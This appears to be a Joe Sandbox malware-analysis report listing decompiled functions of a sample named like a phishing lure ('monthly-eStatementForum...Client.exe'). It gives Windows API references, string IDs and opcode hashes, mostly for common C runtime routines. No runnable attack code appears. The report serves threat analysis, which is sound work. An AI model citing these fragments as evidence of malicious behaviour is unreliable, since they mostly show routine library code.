Part of subcall function 009A62FF: HeapAlloc.KERNEL32(00000000,?,00000004,?,009A7E5B,?,00000000,?,009A686F,?,00000004,00000000,?,?,?,009A3BCD), ref: 009A6331

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 009A5670
_free.LIBCMT ref: 009A5683
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 009A5692

Memory Dump Source

Source File: 00000000.00000002.2258333372.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2258313163.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258351459.00000000009AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258370362.00000000009B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258389168.00000000009B3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocFreeHeap_free
String ID:
API String ID: 2278895681-0
Opcode ID: 5cc7aeaddce1f6d234ba9182716affa7b021440e8335031685240dc3417c7ce1
Instruction ID: 5f3fa6a80b051553f9f1b2388c8675da441cb2a8500b55e5eae32f4c0d6b4545
Opcode Fuzzy Hash: 5cc7aeaddce1f6d234ba9182716affa7b021440e8335031685240dc3417c7ce1
Instruction Fuzzy Hash: A601F272706A257F67211ABA6C8CD7B6A6DDEC3FA43570129FD04C3101EBA48C0191F0

Function 009A44A8 Relevance: 7.6, APIs: 5, Instructions: 53
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(?,?,?,009A47FE,009A7E79,?,009A686F,?,00000004,00000000,?,?,?,009A3BCD,?,00000000), ref: 009A44AD
_free.LIBCMT ref: 009A44E2
_free.LIBCMT ref: 009A4509
SetLastError.KERNEL32(00000000,?,?,?,?,?,?), ref: 009A4516
SetLastError.KERNEL32(00000000,?,?,?,?,?,?), ref: 009A451F

Memory Dump Source

Source File: 00000000.00000002.2258333372.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2258313163.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258351459.00000000009AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258370362.00000000009B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258389168.00000000009B3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: ba09c35a27d5a27d8fc82be8c0877a7d33d206fcdbb34f6d04e35f9339815997
Instruction ID: fded5f84c2846d130f9766056b595179bce5d116c575acb3b057d00859e5821e
Opcode Fuzzy Hash: ba09c35a27d5a27d8fc82be8c0877a7d33d206fcdbb34f6d04e35f9339815997
Instruction Fuzzy Hash: 03012876714A10AB8212777D7C49F6B22AEEFC77B57210124F829D61A3EFF88D0151E0

Function 009A6176 Relevance: 7.5, APIs: 5, Instructions: 40
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_free.LIBCMT ref: 009A618E

Part of subcall function 009A4869: HeapFree.KERNEL32(00000000,00000000,?,009A620D,?,00000000,?,00000000,?,009A6234,?,00000007,?,?,009A669F,?), ref: 009A487F
Part of subcall function 009A4869: GetLastError.KERNEL32(?,?,009A620D,?,00000000,?,00000000,?,009A6234,?,00000007,?,?,009A669F,?,?), ref: 009A4891

_free.LIBCMT ref: 009A61A0
_free.LIBCMT ref: 009A61B2
_free.LIBCMT ref: 009A61C4
_free.LIBCMT ref: 009A61D6

Memory Dump Source

Source File: 00000000.00000002.2258333372.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2258313163.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258351459.00000000009AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258370362.00000000009B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258389168.00000000009B3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: c3b5990c890ed81559309a32763a05512f4cf95010ca80d23c4dedf6f521789d
Instruction ID: 5db9ddc53ffc435152a4955beeae74ce790df2cd1d2f07f1978ae1171494f2da
Opcode Fuzzy Hash: c3b5990c890ed81559309a32763a05512f4cf95010ca80d23c4dedf6f521789d
Instruction Fuzzy Hash: 29F0683261C200EFC660DB59F995D167BDDEAC676039C0805F409D7551C738FC4046D0

Function 009A3D8F Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 009A3DAD

Part of subcall function 009A4869: HeapFree.KERNEL32(00000000,00000000,?,009A620D,?,00000000,?,00000000,?,009A6234,?,00000007,?,?,009A669F,?), ref: 009A487F
Part of subcall function 009A4869: GetLastError.KERNEL32(?,?,009A620D,?,00000000,?,00000000,?,009A6234,?,00000007,?,?,009A669F,?,?), ref: 009A4891

_free.LIBCMT ref: 009A3DBF
_free.LIBCMT ref: 009A3DD2
_free.LIBCMT ref: 009A3DE3
_free.LIBCMT ref: 009A3DF4

Memory Dump Source

Source File: 00000000.00000002.2258333372.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2258313163.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258351459.00000000009AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258370362.00000000009B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258389168.00000000009B3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: f6e2bc44cd29f672ddf2b38a49309d38521ea8868d2098397e895e18df462a31
Instruction ID: 1ed1d2ce23bb772e06c544b66e59456a6695f5b55397e5c4f820ae2c397ec847
Opcode Fuzzy Hash: f6e2bc44cd29f672ddf2b38a49309d38521ea8868d2098397e895e18df462a31
Instruction Fuzzy Hash: C5F03A7882C2608FC7516F1DFE115497BA4EBCA730390031AF4129A2F1C7B90941ABC0

Function 009A8A92 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 186COMMON

Download Yara Rule

Strings

kz]G, xrefs: 009A8A9A

Memory Dump Source

Source File: 00000000.00000002.2258333372.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2258313163.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258351459.00000000009AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258370362.00000000009B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258389168.00000000009B3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_monthly-eStatementForum120478962.jbxd

Similarity

API ID:
String ID: kz]G
API String ID: 0-1940436402
Opcode ID: 68ba754921730f120a9121d33d536a0ac322bdebb87ae24abe280438de080600
Instruction ID: 7b38e3681c9452486022b70a4f72adb8e972aae187a2f4ef1e4feda927b3d3c3
Opcode Fuzzy Hash: 68ba754921730f120a9121d33d536a0ac322bdebb87ae24abe280438de080600
Instruction Fuzzy Hash: C351AFB1D012499BDB11DFA8C945FAF7BB8EF87324F140559E401A7292DB749902CBF1

Function 009A48BB Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 168COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 009A4A27

Part of subcall function 009A474D: IsProcessorFeaturePresent.KERNEL32(00000017,009A473C,00000000,?,00000004,00000000,?,?,?,?,009A4749,00000000,00000000,00000000,00000000,00000000), ref: 009A474F
Part of subcall function 009A474D: GetCurrentProcess.KERNEL32(C0000417), ref: 009A4771
Part of subcall function 009A474D: TerminateProcess.KERNEL32(00000000), ref: 009A4778

Strings

*?, xrefs: 009A48FE
., xrefs: 009A4BDE
kz]G, xrefs: 009A4AEC

Memory Dump Source

Source File: 00000000.00000002.2258333372.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2258313163.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258351459.00000000009AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258370362.00000000009B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258389168.00000000009B3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: Process$CurrentFeaturePresentProcessorTerminate_free
String ID: *?$.$kz]G
API String ID: 2667617558-3452094433
Opcode ID: b5ebe54ac363d96a5ffd237f2e5e25fa63b2e5d383b99c3f0f4b770ea8c32303
Instruction ID: 78a79116cc77a7b907d09278ed75dc64e96126615173eb44040db4053fa0b922
Opcode Fuzzy Hash: b5ebe54ac363d96a5ffd237f2e5e25fa63b2e5d383b99c3f0f4b770ea8c32303
Instruction Fuzzy Hash: AF519375E001199FDF14CFA8C881AAEF7B9EFDA314F24416AE454E7341E6759E018B90

Function 009A2F53 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe,00000104), ref: 009A2F93
_free.LIBCMT ref: 009A305E
_free.LIBCMT ref: 009A3068

Strings

C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe, xrefs: 009A2F8A, 009A2F91, 009A2FC0, 009A2FF8

Memory Dump Source

Source File: 00000000.00000002.2258333372.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2258313163.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258351459.00000000009AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258370362.00000000009B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258389168.00000000009B3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe
API String ID: 2506810119-523020616
Opcode ID: f16904c546643aae71a0d869174b2976b7a42eb28d12ffe7e9f451e278f5a1b9
Instruction ID: 3c29098c12cac6862cdfee08b653947ad59b4286a683ba0f9ce3cf78b3980c1a
Opcode Fuzzy Hash: f16904c546643aae71a0d869174b2976b7a42eb28d12ffe7e9f451e278f5a1b9
Instruction Fuzzy Hash: F0318F71A04258AFCB21DB99DC81AAEBBFCEFC6710F10806AF40497251D6748A40DBD1

Function 009A887A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 101fileCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,?,?,00000D55,00000000,00000000,?,00000000,?,?,009A8BD9,?,00000000,?), ref: 009A892D
WriteFile.KERNEL32(?,?,00000000,?,00000000,?,009A8BD9,?,00000000,?,00000000,00000000,?,00000000), ref: 009A895B
GetLastError.KERNEL32(?,009A8BD9,?,00000000,?,00000000,00000000,?,00000000), ref: 009A898C

Strings

kz]G, xrefs: 009A8889

Memory Dump Source

Source File: 00000000.00000002.2258333372.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2258313163.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258351459.00000000009AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258370362.00000000009B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258389168.00000000009B3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: ByteCharErrorFileLastMultiWideWrite
String ID: kz]G
API String ID: 2456169464-1940436402
Opcode ID: 38788e87a9c816950a8dd613b3a705ea3f1f57c39a1e1431708bca070777dbe5
Instruction ID: 039eecd2ec3780581e2f9c0762edcc618d64c6f41da43c9c55ca87158e86070f
Opcode Fuzzy Hash: 38788e87a9c816950a8dd613b3a705ea3f1f57c39a1e1431708bca070777dbe5
Instruction Fuzzy Hash: 10316D71A1021A9FDB24CF59DC90AEBB7B8FF49314F0444A9E91AD7250DB30AD80CFA1

Function 009A25E3 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,009A2594,00000000,?,009B1B50,?,?,?,009A2737,00000004,InitializeCriticalSectionEx,009ABC48,InitializeCriticalSectionEx), ref: 009A25F0
GetLastError.KERNEL32(?,009A2594,00000000,?,009B1B50,?,?,?,009A2737,00000004,InitializeCriticalSectionEx,009ABC48,InitializeCriticalSectionEx,00000000,?,009A24C7), ref: 009A25FA
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 009A2622

Strings

api-ms-, xrefs: 009A2607

Memory Dump Source

Source File: 00000000.00000002.2258333372.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2258313163.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258351459.00000000009AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258370362.00000000009B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258389168.00000000009B3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: f88ee9a6224fb84e4b118667ac796f8fb80eb16094a969c859c3d5b13c17e32a
Instruction ID: 60120cd1f7ae642ba49bf30a13d2bc640aa11948df5c68680a77a35fcd68f1e5
Opcode Fuzzy Hash: f88ee9a6224fb84e4b118667ac796f8fb80eb16094a969c859c3d5b13c17e32a
Instruction Fuzzy Hash: C0E04F31A84304BBEF611F60EC06F5A3F58AF52B55F104421F90DE80E6E7A1E954AAD4

Function 009A57DD Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00000000,00000000,00000000,?,009A5784,00000000,00000000,00000000,00000000,?,009A5981,00000006,FlsSetValue), ref: 009A580F
GetLastError.KERNEL32(?,009A5784,00000000,00000000,00000000,00000000,?,009A5981,00000006,FlsSetValue,009AC4D8,FlsSetValue,00000000,00000364,?,009A44F6), ref: 009A581B
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,009A5784,00000000,00000000,00000000,00000000,?,009A5981,00000006,FlsSetValue,009AC4D8,FlsSetValue,00000000), ref: 009A5829

Memory Dump Source

Source File: 00000000.00000002.2258333372.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2258313163.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258351459.00000000009AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258370362.00000000009B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258389168.00000000009B3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: 60ca519c3150f679f7cf535e85f320731d02c67a20ea6c5e4295904ea822827e
Instruction ID: 13a70a1fccc3f0657b3338608b4c231f7adfd867983ae9b761b95db520d25457
Opcode Fuzzy Hash: 60ca519c3150f679f7cf535e85f320731d02c67a20ea6c5e4295904ea822827e
Instruction Fuzzy Hash: 8401AC36719636ABC7214B6CAC44A577B6CAF077B17120624F916D7141D728DC00C6E0

Function 009A52EB Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 168COMMON

Download Yara Rule

APIs

Part of subcall function 009A4EBE: GetOEMCP.KERNEL32(00000000,?,?,009A5147,?), ref: 009A4EE9

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,009A518C,?,00000000), ref: 009A535F
GetCPInfo.KERNEL32(00000000,009A518C,?,?,?,009A518C,?,00000000), ref: 009A5372

Strings

kz]G, xrefs: 009A52F3

Memory Dump Source

Source File: 00000000.00000002.2258333372.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2258313163.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258351459.00000000009AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258370362.00000000009B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258389168.00000000009B3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: CodeInfoPageValid
String ID: kz]G
API String ID: 546120528-1940436402
Opcode ID: d89320121824df4cfd55e132c1e4ed1ca455f6b3cd6d454a184a26a02976b6b0
Instruction ID: 7496c7ebcde79e9b7eb46719bebde2c11334df963ca6ee0e96729ce7e93f8c26
Opcode Fuzzy Hash: d89320121824df4cfd55e132c1e4ed1ca455f6b3cd6d454a184a26a02976b6b0
Instruction Fuzzy Hash: 45516570B04B459FDB208F35C8806BBBBE9EF86300F15842ED0968B262D7789981CBD0

Function 009A4F96 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 132COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 009A4FBB

Strings

kz]G, xrefs: 009A4FA1
, xrefs: 009A5000

Memory Dump Source

Source File: 00000000.00000002.2258333372.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2258313163.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258351459.00000000009AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258370362.00000000009B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258389168.00000000009B3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: Info
String ID: $kz]G
API String ID: 1807457897-3502458879
Opcode ID: 33b96f5aa1fd82dc9a5923eb17c9c7010f97124f9e1a336bb5191fd6874a3174
Instruction ID: a10273061b4fbbf8b3edc1189ef1083af3ece0aaafad698067e97958f17c05d5
Opcode Fuzzy Hash: 33b96f5aa1fd82dc9a5923eb17c9c7010f97124f9e1a336bb5191fd6874a3174
Instruction Fuzzy Hash: 5C41F97060865C9FDB218E64CC84BF6BBBDEB46304F1408EDE59E87142E2359945DFE0

Function 009A3B40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 129COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 009A3BB2
_free.LIBCMT ref: 009A3BD2

Strings

kz]G, xrefs: 009A3B5E, 009A3BF4

Memory Dump Source

Source File: 00000000.00000002.2258333372.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2258313163.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258351459.00000000009AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258370362.00000000009B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258389168.00000000009B3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: _free
String ID: kz]G
API String ID: 269201875-1940436402
Opcode ID: d7d2673bc67b1e436b46d7122da9d9942a4be0f4c5301d844031f6710e2767fa
Instruction ID: b8b2ff5b714c3356a0daa41f4a06fd7bacef4d8383b9f7df17c85c5da1b32177
Opcode Fuzzy Hash: d7d2673bc67b1e436b46d7122da9d9942a4be0f4c5301d844031f6710e2767fa
Instruction Fuzzy Hash: 3C41D332A002049FCB10DF7CC895A6DB3B6EF8A724F258569E915EB391D731AE01CBC0

Function 009A878C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 81fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000,?,00000000,?,?,009A8BC9,?,00000000,?,00000000,00000000), ref: 009A8836
GetLastError.KERNEL32(?,009A8BC9,?,00000000,?,00000000,00000000,?,00000000), ref: 009A885F

Strings

kz]G, xrefs: 009A879B

Memory Dump Source

Source File: 00000000.00000002.2258333372.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2258313163.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258351459.00000000009AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258370362.00000000009B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258389168.00000000009B3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: kz]G
API String ID: 442123175-1940436402
Opcode ID: 15b742816e4a3128a2d05c2d86a291f6ea214e7f0ac81a451342ec0365beedee
Instruction ID: 0d54be163ca77b635e37ef50082252f0b4e8fa8d1608dbc9036eca1e82570a83
Opcode Fuzzy Hash: 15b742816e4a3128a2d05c2d86a291f6ea214e7f0ac81a451342ec0365beedee
Instruction Fuzzy Hash: DB318F71A00219DBCB24CF59CD80A9AF3F9FF89310B6085AAE519D7250DB34A981CB90

Function 009A86AD Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000,?,00000000,?,?,009A8BE9,?,00000000,?,00000000,00000000), ref: 009A8748
GetLastError.KERNEL32(?,009A8BE9,?,00000000,?,00000000,00000000,?,00000000), ref: 009A8771

Strings

kz]G, xrefs: 009A86BC

Memory Dump Source

Source File: 00000000.00000002.2258333372.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2258313163.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258351459.00000000009AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258370362.00000000009B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258389168.00000000009B3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: kz]G
API String ID: 442123175-1940436402
Opcode ID: 5088ccb9069c7190d0be796ea3902b659c0ef02bad1d6598b8539adabd0107aa
Instruction ID: 6da1b225ee2e28d73ad578c52b22f99320db709cfa1b71298a8e39f4ebbdc6e9
Opcode Fuzzy Hash: 5088ccb9069c7190d0be796ea3902b659c0ef02bad1d6598b8539adabd0107aa
Instruction Fuzzy Hash: 2D2182356102199FCB15CF59D980BEAB3F9FB49351F2044AAE946D7251DB30AD81CFA0

Function 009A14BB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 009A14C6
___raise_securityfailure.LIBCMT ref: 009A15AE

Strings

kz]G, xrefs: 009A158F

Memory Dump Source

Source File: 00000000.00000002.2258333372.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2258313163.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258351459.00000000009AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258370362.00000000009B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258389168.00000000009B3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: kz]G
API String ID: 3761405300-1940436402
Opcode ID: 9ac2095f05ab1bfd1cc6fd5ae6115d69d0b32482084e83303f6e0210fcb061ad
Instruction ID: dd21fba4b8875a6f3914a0e43eeec470596d947d83d54094bcb54e87de6308eb
Opcode Fuzzy Hash: 9ac2095f05ab1bfd1cc6fd5ae6115d69d0b32482084e83303f6e0210fcb061ad
Instruction Fuzzy Hash: B721E2B85283049FE304DF19FAA67813BE4FB09764FA0522AE5098B3B0E7B05480AB44

Function 009A5A15 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMON

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,5EFC4D8B,00000100,?,5EFC4D8B,00000000), ref: 009A5A86

Strings

kz]G, xrefs: 009A5A1B
LCMapStringEx, xrefs: 009A5A26, 009A5A30

Memory Dump Source

Source File: 00000000.00000002.2258333372.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2258313163.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258351459.00000000009AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258370362.00000000009B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258389168.00000000009B3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: String
String ID: LCMapStringEx$kz]G
API String ID: 2568140703-956137866
Opcode ID: e64eb082dfdbb500662ccb5fd3dbd74bd450df9e4e53308b3af823026296286e
Instruction ID: 3702b32ec5881f34cbea965ecaa9b1ca6f0cc219110a0be38cf022d8c304d9fa
Opcode Fuzzy Hash: e64eb082dfdbb500662ccb5fd3dbd74bd450df9e4e53308b3af823026296286e
Instruction Fuzzy Hash: 3B01E532644209BBCF02AF90DC15EEE3F66EF4A764F064154FE146A161CB329931EBC0

Function 009A59B3 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(?,?), ref: 009A59FE

Strings

kz]G, xrefs: 009A59B9
InitializeCriticalSectionEx, xrefs: 009A59C4, 009A59CE

Memory Dump Source

Source File: 00000000.00000002.2258333372.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2258313163.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258351459.00000000009AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258370362.00000000009B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258389168.00000000009B3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx$kz]G
API String ID: 2593887523-2039192805
Opcode ID: 6229decf8385e752a013d50fc00bf255ad1c4034bcc50e6a23578740e1d48764
Instruction ID: 83442f690e99586f52e25335e2988e0fd23a441a21d1eb2183666102264e1d16
Opcode Fuzzy Hash: 6229decf8385e752a013d50fc00bf255ad1c4034bcc50e6a23578740e1d48764
Instruction Fuzzy Hash: 2EF0E931B8421CFBCB016F60DC05E9E7FA1EF86760F414114FC185E161DB325E21A6C0

Function 009A37A9 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

